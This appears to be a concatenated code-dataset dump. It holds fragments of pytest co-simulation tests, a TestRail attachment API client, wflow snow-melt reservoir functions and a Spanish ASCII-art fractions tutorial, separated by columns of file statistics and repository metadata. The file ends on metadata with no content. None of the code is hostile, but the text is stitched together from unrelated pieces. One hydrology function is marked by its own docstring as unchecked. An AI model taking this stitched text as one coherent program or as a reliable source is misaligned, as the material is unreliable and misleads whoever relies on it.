f=czip(sim_cls=cosim_cls), ref=czip(name='ref_model'), delays=[delay_rng(dout_delay, dout_delay)]) sim() @pytest.mark.parametrize('din0_delay', [0, 1]) @pytest.mark.parametrize('din1_delay', [0, 1]) @pytest.mark.parametrize('dout0_delay', [0, 1]) @pytest.mark.parametrize('dout1_delay', [0, 1]) def test_cosim_zipsync_one_queue(cosim_cls, din0_delay, din1_delay, dout0_delay, dout1_delay): verif(drv(t=Uint[8], seq=list(range(10))) | delay_rng(din0_delay, din0_delay), drv(t=Queue[Uint[8]], seq=[list(range(10))]) | delay_rng(din1_delay, din1_delay), f=zip_sync(sim_cls=cosim_cls), ref=zip_sync(name='ref_model'), delays=[ delay_rng(dout0_delay, dout0_delay), delay_rng(dout1_delay, dout1_delay) ]) sim() @pytest.mark.parametrize('din0_delay', [0, 1]) @pytest.mark.parametrize('din1_delay', [0, 1]) @pytest.mark.parametrize('dout0_delay', [0, 1]) @pytest.mark.parametrize('dout1_delay', [0, 1]) def test_cosim_zipsync_both_queue(cosim_cls, din0_delay, din1_delay, dout0_delay, dout1_delay): verif(drv(t=Queue[Uint[8], 2], seq=[[list(range(10)) for _ in range(2)]]) | delay_rng(din0_delay, din0_delay), drv(t=Queue[Uint[8], 2], seq=[[list(range(10)) for _ in range(2)]]) | delay_rng(din1_delay, din1_delay), f=zip_sync(sim_cls=cosim_cls), ref=zip_sync(name='ref_model'), delays=[ delay_rng(dout0_delay, dout0_delay), delay_rng(dout1_delay, dout1_delay) ]) sim()
35.464286
77
0.625378
438
2,979
4.013699
0.127854
0.068259
0.143345
0.063709
0.814562
0.814562
0.814562
0.814562
0.814562
0.814562
0
0.041008
0.214166
2,979
83
78
35.891566
0.709953
0
0
0.731343
0
0
0.053038
0
0
0
0
0
0.014925
1
0.074627
false
0
0.104478
0
0.179104
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7f72593dc201081ff3b0d3cc2ee1c1b84fb928d2
5,057
py
Python
testrail_yak/attachment.py
bbeale/TestRailYak
f48e4cc916f4fc8052d4d63562e95e33e5b5563c
[ "MIT" ]
null
null
null
testrail_yak/attachment.py
bbeale/TestRailYak
f48e4cc916f4fc8052d4d63562e95e33e5b5563c
[ "MIT" ]
null
null
null
testrail_yak/attachment.py
bbeale/TestRailYak
f48e4cc916f4fc8052d4d63562e95e33e5b5563c
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- from .lib.testrail import APIError import os class Attachment(object): __module__ = "testrail_yak" def __init__(self, api): self.client = api def add_to_plan(self, plan_id: int, file_path: str) -> dict: """Adds an attachment to a test plan. The maximum allowable upload size is set to 256mb. """ if not os.path.exists(file_path) or not os.path.isfile(file_path): raise AttachmentException try: result = self.client.send_post(f"add_attachment_to_plan/{plan_id}", data=file_path) except APIError as error: print(error) raise AttachmentException else: return result def add_to_plan_entry(self, plan_id: int, entry_id: int, file_path: str) -> dict: """Adds an attachment to a test plan entry. The maximum allowable upload size is set to 256mb. """ if not os.path.exists(file_path) or not os.path.isfile(file_path): raise AttachmentException try: result = self.client.send_post(f"add_attachment_to_plan_entry/{plan_id}/{entry_id}", data=file_path) except APIError as error: print(error) raise AttachmentException else: return result def add_to_result(self, result_id: int, file_path: str) -> dict: """Adds attachment to a result based on the result ID. The maximum allowable upload size is set to 256mb. """ if not os.path.exists(file_path) or not os.path.isfile(file_path): raise AttachmentException try: result = self.client.send_post(f"add_attachment_to_result/{result_id}", data=file_path) except APIError as error: print(error) raise AttachmentException else: return result def add_to_run(self, run_id: int, file_path: str) -> dict: """Adds attachment to test run. The maximum allowable upload size is set to 256mb. """ if not os.path.exists(file_path) or not os.path.isfile(file_path): raise AttachmentException try: result = self.client.send_post(f"add_attachment_to_run/{run_id}", data=file_path) except APIError as error: print(error) raise AttachmentException else: return result def get_from_case(self, case_id: int) -> list: """Returns a list of attachments for a test case. """ try: result = self.client.send_get(f"get_attachments_for_case/{case_id}") except APIError as error: print(error) raise AttachmentException else: return result def get_from_plan(self, plan_id: int) -> list: """Returns a list of attachments for a test plan. """ try: result = self.client.send_get(f"get_attachments_for_plan/{plan_id}") except APIError as error: print(error) raise AttachmentException else: return result def get_from_plan_entry(self, plan_id: int, entry_id: int) -> list: """Returns a list of attachments for a test plan entry. """ try: result = self.client.send_get(f"get_attachments_for_plan_entry/{plan_id}/{entry_id}") except APIError as error: print(error) raise AttachmentException else: return result def get_from_run(self, run_id: int) -> list: """Returns a list of attachments for a test run. """ try: result = self.client.send_get(f"get_attachments_for_run/{run_id}") except APIError as error: print(error) raise AttachmentException else: return result def get_from_test(self, test_id: int) -> list: """Returns a list of attachments for a test’s results. """ try: result = self.client.send_get(f"get_attachments_for_test/{test_id}") except APIError as error: print(error) raise AttachmentException else: return result def get(self, attachment_id: int, filepath: str) -> dict: """Retrieves the requested file identified by :attachment_id. """ if not os.path.exists(filepath) or not os.path.isfile(filepath): raise AttachmentException try: result = self.client.send_get(f"get_attachment/{attachment_id}", filepath=filepath) except APIError as error: print(error) raise AttachmentException else: return result def delete(self, attachment_id: int) -> dict: """Deletes the specified attachment identified by :attachment_id. """ try: result = self.client.send_post(f"delete_attachment/{attachment_id}", data={}) except APIError as error: print(error) raise AttachmentException else: return result class AttachmentException(Exception): pass
35.612676
117
0.615187
636
5,057
4.710692
0.13522
0.042724
0.04773
0.06976
0.810414
0.785714
0.775033
0.757677
0.747664
0.706943
0
0.003665
0.298596
5,057
141
118
35.865248
0.840992
0.154439
0
0.707547
0
0
0.096468
0.093624
0
0
0
0
0
1
0.113208
false
0.009434
0.018868
0
0.264151
0.103774
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7f90bc9bf0efb462ac572b4093070e075a1254a8
10,241
py
Python
wflow-py/wflow/reservoir_Sw.py
edwinkost/wflow
ee9291d4b556d7b61f7f13bcb972774be9a16cec
[ "MIT" ]
null
null
null
wflow-py/wflow/reservoir_Sw.py
edwinkost/wflow
ee9291d4b556d7b61f7f13bcb972774be9a16cec
[ "MIT" ]
null
null
null
wflow-py/wflow/reservoir_Sw.py
edwinkost/wflow
ee9291d4b556d7b61f7f13bcb972774be9a16cec
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Wed Feb 04 14:52:30 2015 @author: teuser """ # -*- coding: utf-8 -*- """ Created on Thu Apr 03 16:31:35 2014 @author: TEuser List all function versions """ import numpy import pdb from copy import copy as copylist try: from wflow.wf_DynamicFramework import * except ImportError: from wf_DynamicFramework import * import scipy import JarvisCoefficients def selectSwR(i): if i == 1: name = 'snow' if i == 2: name = 'snowHour' return name def snow_no_reservoir(self, k): """ This function is used when no snow zone reservoir is used and only passes fluxes from the upper reservoirs to the lower Qw = Psnow Ew = 0. Storage in snow zone = 0. !!!still needs a final check!!! """ self.Qw_[k] = max(self.PrecipitationSnow, 0) self.Ew_[k] = 0. self.Sw[k] = 0. self.wbSw_[k] = self.Precipitation - self.Ew_[k] - self.Qw_[k] - self.Sw[k] + self.Sw_t[k] def snow(self,k): """ - snow melt based on degree day factor and - - Code for ini-file: 1 """ JarvisCoefficients.calcEpSnow(self,k) self.PotEvaporation = self.EpHour self.PotEvaporation = cover(ifthenelse(self.EpHour > 0, self.EpHour, 0),0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow self.Ew1 = max(min(self.PotEvaporation,self.Sw[k]),0) self.Qw1 = max(self.Fm[k] * (self.Temperature - self.Tm[k]), 0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew1 - self.Qw1 self.Sw_diff = ifthenelse(self.Sw[k] < 0, self.Sw[k], 0) self.Ew = self.Ew1 + (self.Ew1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Qw = self.Qw1 + (self.Qw1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew - self.Qw self.Sw[k] = ifthenelse(self.Sw[k] < 0, 0 , self.Sw[k]) self.Sw_diff2 = ifthen(self.Sw[k] < 0, self.Sw[k]) self.wbSw_[k] = self.PrecipitationSnow - self.Ew - self.Qw - self.Sw[k] + self.Sw_t[k] self.Ew_[k] = self.Ew self.Qw_[k] = self.Qw def snow_rain(self,k): """ - snow melt based on degree day factor and minimum surface temperature - meltfactor increases with temperature - - Code for ini-file: 6 """ JarvisCoefficients.calcEpSnow(self,k) #self.PotEvaporation = self.EpHour self.PotEvaporation = cover(ifthenelse(self.EpHour > 0, self.EpHour, 0),0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow self.Fm2 = max(self.Fm[k] * self.Precipitation, self.Fm[k]) self.Ew1 = max(min(self.PotEvaporation, self.Sw[k]),0) self.Qw1 = max(min(self.Fm2 * (self.Temperature - self.Tm[k]), self.Sw[k]), 0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew1 - self.Qw1 self.Sw_diff = ifthenelse(self.Sw[k] < 0, self.Sw[k], 0) self.Ew = self.Ew1 + (self.Ew1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Qw = self.Qw1 + (self.Qw1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew - self.Qw self.Sw[k] = ifthenelse(self.Sw[k] < 0, 0 , self.Sw[k]) self.Sw_diff2 = ifthen(self.Sw[k] < 0, self.Sw[k]) self.wbSw_[k] = self.PrecipitationSnow - self.Ew - self.Qw - self.Sw[k] + self.Sw_t[k] self.Ew_[k] = self.Ew self.Qw_[k] = self.Qw def snow_rain_hourlyEp(self,k): """ - snow melt based on degree day factor and minimum surface temperature - meltfactor increases with temperature - - Code for ini-file: 6 """ JarvisCoefficients.calcEpSnowHour(self,k) self.PotEvaporation = cover(ifthenelse(self.EpHour > 0, self.EpHour, 0),0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow self.Fm2 = max(self.Fm[k] * self.Precipitation, self.Fm[k]) self.Ew1 = max(min(self.PotEvaporation, self.Sw[k]),0) self.Qw1 = max(min(self.Fm2 * (self.Temperature - self.Tm[k]), self.Sw[k]), 0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew1 - self.Qw1 self.Sw_diff = ifthenelse(self.Sw[k] < 0, self.Sw[k], 0) self.Ew = self.Ew1 + (self.Ew1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Qw = self.Qw1 + (self.Qw1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew - self.Qw self.Sw[k] = ifthenelse(self.Sw[k] < 0, 0 , self.Sw[k]) self.Sw_diff2 = ifthen(self.Sw[k] < 0, self.Sw[k]) self.wbSw_[k] = self.PrecipitationSnow - self.Ew - self.Qw - self.Sw[k] + self.Sw_t[k] self.Ew_[k] = self.Ew self.Qw_[k] = self.Qw def snow_rain_Tsurf(self,k): """ - snow melt based on degree day factor and minimum surface temperature - meltfactor increases with temperature - - Code for ini-file: 3 """ JarvisCoefficients.calcEpSnow(self,k) #self.PotEvaporation = self.EpHour self.PotEvaporation = cover(ifthenelse(self.EpHour > 0, self.EpHour, 0),0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow self.Fm2 = max(self.Fm[k] * self.Precipitation, self.Fm[k]) self.Ew1 = max(min(self.PotEvaporation, self.Sw[k]),0) self.Qw1 = max(min(self.Fm2 * (self.TempSurf - self.Tm[k]), self.Sw[k]), 0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew1 - self.Qw1 self.Sw_diff = ifthenelse(self.Sw[k] < 0, self.Sw[k], 0) self.Ew = self.Ew1 + (self.Ew1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Qw = self.Qw1 + (self.Qw1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew - self.Qw self.Sw[k] = ifthenelse(self.Sw[k] < 0, 0 , self.Sw[k]) self.Sw_diff2 = ifthen(self.Sw[k] < 0, self.Sw[k]) self.wbSw_[k] = self.PrecipitationSnow - self.Ew - self.Qw - self.Sw[k] + self.Sw_t[k] self.Ew_[k] = self.Ew self.Qw_[k] = self.Qw def snow_rain_TsurfAir(self,k): """ - snow melt based on degree day factor and minimum surface temperature - meltfactor increases with temperature - - Code for ini-file: 4 """ JarvisCoefficients.calcEpSnow(self,k) #self.PotEvaporation = self.EpHour self.PotEvaporation = cover(ifthenelse(self.EpHour > 0, self.EpHour, 0),0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow self.Temp = (self.TempSurf + self.Temperature) / 2 self.Fm2 = max(self.Fm[k] * self.Precipitation, self.Fm[k]) self.Ew1 = max(min(self.PotEvaporation, self.Sw[k]),0) self.Qw1 = max(min(self.Fm2 * (self.Temp - self.Tm[k]), self.Sw[k]), 0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew1 - self.Qw1 self.Sw_diff = ifthenelse(self.Sw[k] < 0, self.Sw[k], 0) self.Ew = self.Ew1 + (self.Ew1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Qw = self.Qw1 + (self.Qw1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew - self.Qw self.Sw[k] = ifthenelse(self.Sw[k] < 0, 0 , self.Sw[k]) self.Sw_diff2 = ifthen(self.Sw[k] < 0, self.Sw[k]) self.wbSw_[k] = self.PrecipitationSnow - self.Ew - self.Qw - self.Sw[k] + self.Sw_t[k] self.Ew_[k] = self.Ew self.Qw_[k] = self.Qw def snow_rain_Tsurf_noEw(self,k): """ - snow melt based on degree day factor and minimum surface temperature - meltfactor increases with temperature - - Code for ini-file: 5 """ JarvisCoefficients.calcEpSnow(self,k) #self.PotEvaporation = self.EpHour self.PotEvaporation = cover(ifthenelse(self.EpHour > 0, self.EpHour, 0),0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow self.Fm2 = max(self.Fm[k] * self.Precipitation, self.Fm[k]) self.Ew1 = 0 self.Qw1 = max(min(self.Fm2 * (self.TempSurf - self.Tm[k]), self.Sw[k]), 0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew1 - self.Qw1 self.Sw_diff = ifthenelse(self.Sw[k] < 0, self.Sw[k], 0) self.Ew = self.Ew1 + (self.Ew1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Qw = self.Qw1 + (self.Qw1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew - self.Qw self.Sw[k] = ifthenelse(self.Sw[k] < 0, 0 , self.Sw[k]) self.Sw_diff2 = ifthen(self.Sw[k] < 0, self.Sw[k]) self.wbSw_[k] = self.PrecipitationSnow - self.Ew - self.Qw - self.Sw[k] + self.Sw_t[k] self.Ew_[k] = self.Ew self.Qw_[k] = self.Qw def snowHour(self,k): """ - snow melt based on degree day factor and - for hourly input data - Code for ini-file: 2 """ # JarvisCoefficients.calcEpSnowHour(self,k) # self.PotEvaporation = self.EpHour # self.PotEvaporation = ifthenelse(self.EpHour > 0, self.EpHour, 0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow self.Ew1 = max(min(self.PotEvaporation,self.Sw[k]),0) # self.Ew1 = 0 self.Qw1 = max(self.Fm[k] * (self.Temperature - self.Tm[k]), 0) self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew1 - self.Qw1 self.Sw_diff = ifthenelse(self.Sw[k] < 0, self.Sw[k], 0) self.Ew = self.Ew1 + (self.Ew1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Qw = self.Qw1 + (self.Qw1/ifthenelse(self.Ew1 + self.Qw1 > 0 , self.Ew1 + self.Qw1 , 1)) * self.Sw_diff self.Sw[k] = self.Sw_t[k] + self.PrecipitationSnow - self.Ew - self.Qw self.Sw[k] = ifthenelse(self.Sw[k] < 0, 0 , self.Sw[k]) self.Sw_diff2 = ifthen(self.Sw[k] < 0, self.Sw[k]) # if any(pcr2numpy(self.Sw[k],nan) > 0): # pdb.set_trace() self.wbSw_[k] = self.PrecipitationSnow - self.Ew - self.Qw - self.Sw[k] + self.Sw_t[k] self.Ew_[k] = self.Ew self.Qw_[k] = self.Qw # if any(pcr2numpy(self.Qw,nan) > 0): # pdb.set_trace()
37.512821
112
0.622303
1,643
10,241
3.818624
0.081558
0.141537
0.10153
0.073637
0.887632
0.876793
0.868186
0.858623
0.850494
0.850494
0
0.0339
0.213651
10,241
272
113
37.650735
0.745188
0.046577
0
0.766423
0
0
0.00144
0
0
0
0
0
0
0
null
null
0
0.058394
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
7fbc6c9b7f6f1af1bccf459c760406c81a73b0c4
11,618
py
Python
Main.py
ArenasAgustin/Aprender_Fracciones
86d360df821ecefa43583d687a2b22640f9ba6e3
[ "MIT" ]
1
2021-06-08T15:22:36.000Z
2021-06-08T15:22:36.000Z
Main.py
ArenasAgustin/Aprender_Fracciones
86d360df821ecefa43583d687a2b22640f9ba6e3
[ "MIT" ]
null
null
null
Main.py
ArenasAgustin/Aprender_Fracciones
86d360df821ecefa43583d687a2b22640f9ba6e3
[ "MIT" ]
null
null
null
def a_aprender() : import random as rd ejemplo1 = rd.randint(1,3) ejemplo2 = rd.randint(4,6) ejemplo3 = rd.randint(7,9) if ejemplo1 == 1 : #ejemplo 1 print("\0") print(" _______________________________ ") print(" | / | / | / | / | / | / | | |") print(" |_/_|_/_|_/_|_/_|_/_|_/_|___|___|") print(" | / | / | / | / | / | | | |") print(" |_/_|_/_|_/_|_/_|_/_|___|___|___|") print("\0") print("En esta fraccion es: ") print("\t \t 11 ") print("\t \t----") print("\t \t 16 ") elif ejemplo1 == 2 : #ejemplo 2 print("\0") print(" _______________________________ \n") print(" | / | / | / | / | | | | | \n") print(" |_/_|_/_|_/_|_/_|___|___|___|___| \n") print(" | / | / | / | / | | | | | \n") print(" |_/_|_/_|_/_|_/_|___|___|___|___| \n") print("\0") print("En esta fraccion es: \n") print("\t \t 8 \n") print("\t \t---- \n") print("\t \t 16 \n") print("Simplificando por 8 es: \n") print("\t \t 1 \n") print("\t \t--- \n") print("\t \t 2 \n") else : #ejemplo 3 print("\0") print(" ___________________________________ \n") print(" | / | / | / | / | / | / | | | | \n") print(" |_/_|_/_|_/_|_/_|_/_|_/_|___|___|___| \n") print(" | / | / | / | / | / | / | | | | \n") print(" |_/_|_/_|_/_|_/_|_/_|_/_|___|___|___| \n") print("\0") print("En esta fraccion es: \n") print("\t \t 12 \n") print("\t \t---- \n") print("\t \t 18 \n") print("Simplificando por 6 es: \n") print("\t \t 2 \n") print("\t \t--- \n") print("\t \t 3 \n") if ejemplo2 == 4 : #ejemplo 4 print("\0") print(" _______________________ \n") print(" | / | / | / | / | / | / | \n") print(" |_/_|_/_|_/_|_/_|_/_|_/_| \n") print(" | / | / | / | / | / | / | \n") print(" |_/_|_/_|_/_|_/_|_/_|_/_| \n") print("\0") print("En esta fraccion es: \n") print("\t \t 12 \n") print("\t \t---- \n") print("\t \t 12 \n") print("Simplificando por 12 es: \n") print("\t \t 1 \n") print("\t \t--- = 1 \n") print("\t \t 1 \n") elif ejemplo2 == 5 : #ejemplo 5 print("\0") print(" ___________________________ \n") print(" | / | | | | | | | \n") print(" |_/_|___|___|___|___|___|___| \n") print(" | / | | | | | | | \n") print(" |_/_|___|___|___|___|___|___| \n") print("\0") print("En esta fraccion es: \n") print("\t \t 2 \n") print("\t \t---- \n") print("\t \t 14 \n") print("Simplificando por 2 es: \n") print("\t \t 1 \n") print("\t \t--- \n") print("\t \t 7 \n") else : #ejemplo 6 cambiar los ejemplos desde aca print("\0") print(" _______________________________ \n") print(" | / | | | | | | | | \n") print(" |_/_|___|___|___|___|___|___|___| \n") print("\0") print("En esta fraccion es: \n") print("\t \t 1 \n") print("\t \t--- \n") print("\t \t 8 \n") if ejemplo3 == 7 : #ejemplo 7 print("\0") print(" ___________ ___________ \n") print(" | / | / | / | | / | / | / | \n") print(" |_/_|_/_|_/_| |_/_|_/_|_/_| \n") print(" | / | / | / | | / | / | | \n") print(" |_/_|_/_|_/_| |_/_|_/_|___| \n") print("\0") print("En esta fraccion es: \n") print("\t \t 11 \n") print("\t \t---- \n") print("\t \t 6 \n") print("convirtiendo a fracción mixta es: \n") print("\t \t 5 \n") print("\t \t 1 + --- \n") print("\t \t 6 \n") elif ejemplo3 == 8 : #ejemplo 8 print("\0") print(" ___________ ___________ \n") print(" | / | / | / | | / | / | | \n") print(" |_/_|_/_|_/_| |_/_|_/_|___| \n") print("\0") print("En esta fraccion es: \n") print("\t \t 5 \n") print("\t \t--- \n") print("\t \t 3 \n") print("convirtiendo a fracción mixta es: \n") print("\t \t 2 \n") print("\t \t 1 + --- \n") print("\t \t 3 \n") else : #ejemplo 9 print("\0") print(" _______ _______ \n") print(" | / | / | | / | / | \n") print(" |_/_|_/_| |_/_|_/_| \n") print("\0") print(" _______ _______ \n") print(" | / | / | | / | | \n") print(" |_/_|_/_| |_/_|___| \n") print("\0") print("En esta fraccion es: \n") print("\t \t 7 \n") print("\t \t--- \n") print("\t \t 2 \n") print("convirtiendo a fracción mixta es: \n") print("\t \t 1 \n") print("\t \t 3 + --- \n") print("\t \t 2 \n") k_hacer = input("¿Que quieres hacer? (Creo que ya estoy listo vamos a Practicar! (Practicar) / Ya me canse (Fin)) \n") que_hacer(k_hacer) #decidir que hacer def a_practicar() : import random as rd actividad1 = rd.randint(1,3) actividad2 = rd.randint(4,6) actividad3 = rd.randint(7,9) if actividad1 == 1 : #actividad 1 print("\0") print(" _______________________ \n") print(" | / | / | / | / | / | | \n") print(" |_/_|_/_|_/_|_/_|_/_|___| \n") print("\0") denom1 = int(input("Inserte denominador: \n")) num1 = int(input("Inserte numerador: \n")) if denom1 == 6 and num1 == 5: print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") elif actividad1 == 2 : #actividad 2 print("\0") print(" ___________________ \n") print(" | / | / | / | / | | \n") print(" |_/_|_/_|_/_|_/_|___| \n") print("\0") print("En esta fraccion es: \n") denom1 = int(input("Inserte denominador: \n")) num1 = int(input("Inserte numerador: \n")) if denom1 == 5 and num1 == 4: print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") else : #actividad 3 print("\0") print(" _______________________ \n") print(" | / | / | / | | | | \n") print(" |_/_|_/_|_/_|___|___|___| \n") print("\0") print("En esta fraccion es: \n") denom1 = int(input("Inserte denominador: \n")) num1 = int(input("Inserte numerador: \n")) if (denom1 == 6 and num1 == 3) or (denom1 == 2 and num1 == 1): print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") if actividad2 == 4 : #actividad 4 print("\0") print(" _______________________________ \n") print(" | / | / | / | / | / | / | / | | \n") print(" |_/_|_/_|_/_|_/_|_/_|_/_|_/_|___| \n") print(" | / | / | / | / | / | / | / | \n") print(" |_/_|_/_|_/_|_/_|_/_|_/_|_/_| \n") print("\0") print("En esta fraccion es: \n") denom2 = int(input("Inserte denominador: \n")) num2 = int(input("Inserte numerador: \n")) if denom2 == 15 and num2 == 14: print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") elif actividad2 == 5 : #actividad 5 print("\0") print(" ___________________________________ \n") print(" | / | / | / | / | | | | | | \n") print(" |_/_|_/_|_/_|_/_|___|___|___|___|___| \n") print(" | / | / | / | / | | | | | | \n") print(" |_/_|_/_|_/_|_/_|___|___|___|___|___| \n") print("\0") print("En esta fraccion es: \n") denom2 = int(input("Inserte denominador: \n")) num2 = int(input("Inserte numerador: \n")) if (denom2 == 18 and num2 == 8) or (denom2 == 9 and num2 == 4): print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") else: #actividad 6 print("\0") print(" _______________________ \n") print(" | / | / | / | | | | \n") print(" |_/_|_/_|_/_|___|___|___| \n") print(" | / | / | / | | | | \n") print(" |_/_|_/_|_/_|___|___|___| \n") print("\0") print("En esta fraccion es: \n") denom2 = int(input("Inserte denominador: \n")) num2 = int(input("Inserte numerador: \n")) if (denom2 == 12 and num2 == 6) or (denom2 == 6 and num2 == 3): print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") if actividad3 == 7 : #actividad 7 print("\0") print(" _______________ _______________ \n") print(" | / | / | / | / | | / | | | | \n") print(" |_/_|_/_|_/_|_/_| |_/_|___|___|___| \n") print(" | / | / | / | / | | | | | | \n") print(" |_/_|_/_|_/_|_/_| |___|___|___|___| \n") print("\0") print("En esta fraccion es: \n") ent = int(input("Inserte parte entera: \n")) denom3 = int(input("Inserte denominador: \n")) num3 = int(input("Inserte numerador: \n")) if ent == 1 and (denom3 == 8 and num3 == 1): print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") elif actividad3 == 8 : #actividad 8 print("\0") print(" _______ _______ _______ \n") print(" | / | / | | / | / | | / | | \n") print(" |_/_|_/_| |_/_|_/_| |_/_|___| \n") print(" | / | / | | / | / | | | | \n") print(" |_/_|_/_| |_/_|_/_| |___|___| \n") print("\0") print("En esta fraccion es: \n") ent = int(input("Inserte parte entera: \n")) denom3 = int(input("Inserte denominador: \n")) num3 = int(input("Inserte numerador: \n")) if ent == 2 and (denom3 == 4 and num3 == 1): print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") else : #actividad 9 print("\0") print(" _______________________________ \n") print(" | / | / | / | / | / | / | / | / | \n") print(" |_/_|_/_|_/_|_/_|_/_|_/_|_/_|_/_| \n") print("\0") print(" _______________________________ \n") print(" | / | / | / | / | / | / | / | | \n") print(" |_/_|_/_|_/_|_/_|_/_|_/_|_/_|___| \n") print("\0") print("En esta fraccion es: \n") ent = int(input("Inserte parte entera: \n")) denom3 = int(input("Inserte denominador: \n")) num3 = int(input("Inserte numerador: \n")) if ent == 1 and (denom3 == 8 and num3 == 7): print("Muy bien, pasemos a la siguiente") else : print("Hay que practicar más, sigamos intentado") def que_hacer(k_hacer) : if k_hacer=='aprender' or k_hacer=='APRENDER' or k_hacer=='Aprender' : a_aprender() #mostrar los ejemplos k_hacer = input("¿Que quieres hacer? (Volver a repasar (Aprender) / Seguir practicando (Practicar) / Ya me canse me voy (Fin) \n") que_hacer(k_hacer) #decidir que hacer elif k_hacer=='practicar' or k_hacer=='PRACTICAR' or k_hacer=='Practicar' : a_practicar() #mostrar las actividades k_hacer = input("¿Que quieres hacer? (Volver a repasar (Aprender) / Seguir practicando (Practicar) / Ya me canse me voy (Fin) \n") que_hacer(k_hacer) #decidir que hacer else : print("Mucha suerte con las fracciones y a practicar \n") def main(): print("\0") print(" ______ _ \n") print(" | ____| (_) \n") print(" | |__ _ __ __ _ ___ ___ _ ___ _ __ ___ ___ \n") print(" | __| '__/ _` |/ __/ __| |/ _ \| '_ \ / _ \/ __| \n") print(" | | | | | (_| | (_| (__| | (_) | | | | __/\__ \ \n") print(" |_| |_| \__,_|\___\___|_|\___/|_| |_|\___||___/ \n") print("\0") #TITULO k_hacer = input("¿Que quieres hacer? (Aprender/Practicar/Fin) \n") que_hacer(k_hacer) #decidir que hacer main()
34.577381
135
0.486745
1,250
11,618
3.6216
0.0856
0.178926
0.201679
0.166998
0.802739
0.791473
0.788602
0.746852
0.739784
0.723216
0
0.026939
0.287485
11,618
335
136
34.680597
0.519449
0.028318
0
0.698676
0
0.109272
0.531694
0.097124
0
0
0
0
0
1
0.013245
false
0
0.006623
0
0.019868
0.725166
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
9
f6883aa098555021db8470754da225e043214c1d
13,067
py
Python
src/DSASv5Addin/Install/usgs_scripts/linreg_def.py
ehimmelstoss-usgs/DSASv5
006cbfeebb12169577ea7c0c19b8b1dfd0171d57
[ "CC0-1.0" ]
4
2018-03-20T20:09:33.000Z
2021-04-30T18:14:20.000Z
src/DSASv5Addin/Install/usgs_scripts/linreg_def.py
ehimmelstoss-usgs/DSASv5
006cbfeebb12169577ea7c0c19b8b1dfd0171d57
[ "CC0-1.0" ]
2
2020-03-19T17:12:12.000Z
2020-03-19T20:14:04.000Z
src/DSASv5Addin/Install/usgs_scripts/linreg_def.py
ehimmelstoss-usgs/DSASv5
006cbfeebb12169577ea7c0c19b8b1dfd0171d57
[ "CC0-1.0" ]
1
2019-02-02T03:16:20.000Z
2019-02-02T03:16:20.000Z
